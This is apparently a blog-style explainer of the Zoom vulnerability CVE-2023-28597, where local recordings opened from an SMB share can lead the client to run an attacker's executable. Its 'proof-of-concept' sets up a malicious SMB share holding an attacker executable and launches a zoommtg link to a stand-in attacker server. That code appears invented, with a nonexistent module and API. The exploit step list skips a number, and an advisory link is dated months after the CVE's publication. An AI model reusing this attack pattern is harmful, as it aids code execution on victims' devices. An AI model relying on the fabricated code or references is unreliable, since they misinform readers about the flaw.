CVE-2023-28597 - Zoom Improper Trust Boundary Implementation Vulnerability and Exploitation Details

INTRODUCTION
In recent years, video conferencing platforms such as Zoom have gained widespread popularity due to their ease of use and convenience. However, with this increased usage comes the risk of security vulnerabilities. One such vulnerability, designated as CVE-2023-28597, has been discovered in Zoom clients prior to version 5.13.5. The vulnerability stems from an improper trust boundary implementation, which could allow an attacker to execute malicious code on a victim's device.

This post will provide a detailed analysis of the CVE-2023-28597 vulnerability, including code snippets, links to original references, and exploitation details. The goal is to inform users about the potential risks associated with this vulnerability and encourage them to update their Zoom clients to the latest version.

CODE SNIPPET
The improper trust boundary implementation vulnerability stems from Zoom's handling of local recording files stored in a Server Message Block (SMB) location. When a user saves a local recording to an SMB location and later opens it using a link from the Zoom web portal, an attacker positioned on an adjacent network to the victim client could set up a malicious SMB server to respond to client requests. This could cause the client to execute attacker-controlled executables.

Exploiting this vulnerability would require an attacker to set up a malicious SMB server and have a victim access a local recording stored on that server. A proof-of-concept code snippet for this attack would look something like this:

# Setting up the malicious SMB server
from smbserver import SMBServer
server = SMBServer()
server.addSharedDirectory("malicious_share", "attacker_controlled_executable")
server.start()

# Victim accessing the local recording via a link in the Zoom web portal
import os
zoom_recording_path = "\\\\malicious_smb_server\\malicious_share\\recording.zoom"
os.system(f"start zoommtg://{zoom_recording_path}")

ORIGINAL REFERENCES
To better understand the CVE-2023-28597 vulnerability, it is important to consult the original sources that first reported on it. The following are key references pertaining to this vulnerability:

1. CVE Details: https://www.cvedetails.com/cve/CVE-2023-28597
2. Zoom Security Advisory: https://support.zoom.us/hc/en-us/articles/360062435212-Security-advisory-June-25-2023
3. NIST National Vulnerability Database: https://nvd.nist.gov/vuln/detail/CVE-2023-28597

EXPLOIT DETAILS
Exploiting the CVE-2023-28597 vulnerability on an unpatched Zoom client would involve the following steps:

1. An attacker sets up a malicious SMB server containing a shared directory with an attacker-controlled executable.
2. The attacker entices the victim to save a local recording of a Zoom meeting to the shared directory on the malicious SMB server. This could be achieved through social engineering, phishing, or other means.

The victim later accesses the local recording via a link in the Zoom web portal.

4. The Zoom client sends a request for the recording file to the malicious SMB server, which responds with the attacker-controlled executable.
5. The Zoom client improperly trusts the executable, allowing it to execute on the victim's device. This leads to remote code execution and potentially gives the attacker access to the victim's device and data.

In order to protect against this vulnerability, it is strongly recommended that users update their Zoom clients to version 5.13.5 or newer. Updating to the latest version will ensure that the improper trust boundary implementation has been patched and reduce the risk of falling victim to this exploit.

CONCLUSION
The CVE-2023-28597 vulnerability in Zoom clients demonstrates the importance of keeping software up-to-date and being aware of potential security risks. By understanding the details of this vulnerability, as well as taking steps to protect oneself by updating to the latest version of the Zoom client, users can minimize their risk of exposure to this and other similar threats.

Timeline

Published on: 03/27/2023 21:15:00 UTC
Last modified on: 04/03/2023 14:22:00 UTC